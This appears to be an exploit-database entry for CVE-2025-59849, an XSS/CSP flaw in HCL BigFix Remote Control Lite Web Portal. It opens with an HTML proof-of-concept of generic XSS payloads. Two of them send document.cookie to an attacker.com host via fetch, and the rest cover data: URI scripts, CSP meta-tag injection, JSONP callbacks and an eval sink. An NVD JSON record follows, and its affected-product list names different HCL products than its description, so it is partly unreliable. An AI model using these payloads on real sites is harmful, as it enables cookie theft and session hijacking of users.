CVE-2025-59849

<!-- CSP Bypass PoC for CVE-2025-59849 --> <!-- HCL BigFix Remote Control Lite Web Portal XSS via CSP Misconfiguration --> <!-- Basic XSS Payload (if CSP allows unsafe-inline) --> <img src=x onerror="alert(document.cookie)"> <!-- CSP Bypass using data: URI (if script-src allows data:) --> <script src="data:application/javascript,alert('XSS')%3B"></script> <!-- Stored XSS Payload for injection points --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- CSP relaxation via meta tag injection (if allowed) --> <meta http-equiv="Content-Security-Policy" content="default-src *; script-src 'unsafe-inline'"> <!-- JSONP callback XSS (if callback parameter is reflected without sanitization) --> <script src="https://vulnerable-site.com/api?callback=alert(document.domain)//"></script> <!-- DOM-based XSS payload --> <script> // If application uses user input in eval/script contexts var input = location.hash.substring(1); eval(input); </script> <!-- Real-world attack scenario --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>

{"cve": {"id": "CVE-2025-59849", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:14.873", "lastModified": "2026-01-06T19:54:47.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper management of Content Security Policy in HCL BigFix Remote Control Lite Web Portal (versions 10.1.0.0326 and lower) may allow the execution of malicious code in web pages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}, {"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0.0", "versionEndExcluding": "8.0.1.11", "matchCriteriaId": "830962ED-955D-4083-8801-BB719BD01DDC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.4", "matchCriteriaId": "BDB41F3C-0562-47CC-856D-FD03AC2AB0D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_launch:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0.0", "versionEndExcluding": "7.3.2.16", "matchCriteriaId": "C4FD53DE-8743-4FE3-88D5-DA1E291DA397"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0127332", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}